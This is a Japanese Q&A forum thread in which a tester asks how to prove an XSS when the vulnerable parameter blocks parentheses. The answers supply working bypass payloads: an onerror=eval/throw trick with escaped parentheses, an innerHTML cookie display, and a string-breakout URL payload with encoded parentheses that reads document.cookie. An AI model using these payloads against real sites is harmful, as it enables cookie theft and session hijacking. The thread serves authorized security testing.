2016-11-30 10 views
0

私はクライアントのアプリケーションでクロスサイトスクリプティングの脆弱性を発見しました。問題は、脆弱なパラメータがかっこを受け入れないことです。したがって、かっこのためにalert(document.cookie)のようなものは拒否されます。 alert `xss`を使用してXSSを取得できますが、私のクライアントはDOMにアクセスできるという証拠が必要です。JSのカッコの代替があればそれはありますか?

つまり、どうすれば括弧なしでalert(document.cookie)を解決できますか。代替手段はありますか?

ありがとうございます!

+0

*メソッド呼び出し*の代替手段はありません。しかし、暗黙の評価を慎重に適用することで、括弧がソースコードに現れる必要はなく、「興味深い」ことを行うためにはすべてのコードでかっこが必要というわけではありません。結論がXSSにどのように関係しているのかわかりません。 – user2864740

+0

[XSS Filter Evasion Cheat Sheet](https://www.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet)には、かっこ(特定の条件が適用されます)。 – Ouroborus

答えて

5

document.body.innerHTML=document.cookieは、ページ自体にCookieを表示します。

XSSの脆弱性について:はい、脆弱で、括弧を無効にするだけで攻撃者はより創造的な方法を使用するようになります。誰かが任意のコードを実行させる責任があります。

は、ここでは、あなたの入力で任意の括弧を使用せずに任意のパラメータで任意の関数を呼び出すことができる方法の簡単な例です:ここでは

<p>Malicious input: window.onerror=eval;throw '=1;alert\u0028document.location\u0029'</p> 
 

 
<input type="button" onclick="window.onerror=eval;throw '=1;alert\u0028document.location\u0029'" value="Click me">

0

私のために働いた別の解決策は次のとおりです。

<script> 
var firstname = 'aa';document.location='javascript:alert%28document.cookie%29';//'; 
</script> 

ペイロードは、

です。

?vulnparam=aa';document.location='javascript:alert%2528document.cookie%2529';//

@tcooc回答が動作しています。

関連する問題